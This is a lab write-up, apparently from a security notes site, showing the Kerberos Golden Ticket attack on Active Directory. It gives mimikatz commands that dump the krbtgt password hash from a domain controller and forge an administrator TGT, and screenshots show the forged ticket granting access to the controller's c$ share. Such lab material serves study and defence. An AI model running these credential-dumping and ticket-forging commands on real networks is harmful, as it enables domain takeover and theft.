# Kerberos: Golden Tickets

This lab explores an attack on Active Directory Kerberos Authentication. To be more precise - an attack that forges Kerberos Ticket Granting Tickets (TGT) that are used to authenticate users with Kerberos. TGTs are used when requesting Ticket Granting Service (TGS) tickets, which means a forged TGT can get us any TGS ticket - hence it's golden.

This attack assumes a Domain Controller compromise where `KRBTGT` account hash will be extracted which is a requirement for a successful Golden Ticket attack.

## Execution

Extracting the krbtgt account's password `NTLM` hash:

{% code title="attacker\@victim-dc" %}

```csharp
mimikatz # lsadump::lsa /inject /name:krbtgt
```

{% endcode %}

![](/files/-LKTTGoQCPbfhNOZvn0j)

Creating a forged golden ticket that automatically gets injected in current logon session's memory:

{% code title="attacker\@victim-workstation" %}

```
mimikatz # kerberos::golden /domain:offense.local /sid:S-1-5-21-4172452648-1021989953-2368502130 /rc4:8584cfccd24f6a7f49ee56355d41bd30 /user:newAdmin /id:500 /ptt
```

{% endcode %}

![](/files/-LKTThyikYYAfLYaxQHH)

Checking if the ticket got created:

![](/files/-LKTTt1PNSbb4q3pKN__)

Opening another powershell console with low privileged account and trying to mount a `c$` share of `pc-mantvydas` and `dc-mantvydas` - not surprisingly, returns access denied:

![](/files/-LKTUC-jFCwRhZEmHe4f)

However, switching back to the console the attacker used to create the golden ticket (local admin) and again attempting to access `c$` share of the domain controller - this time is a success:

![](/files/-LKTUnwdX3d7NvIED1zX)

## Observations

![](/files/-LKTaCJ_9NhLBtCKSbdV)

![](/files/-LKTaENWErVWi2AfvFKX)

## References

{% embed url="<https://blog.stealthbits.com/complete-domain-compromise-with-golden-tickets/>" %}

{% embed url="<https://adsecurity.org/?p=1515>" %}


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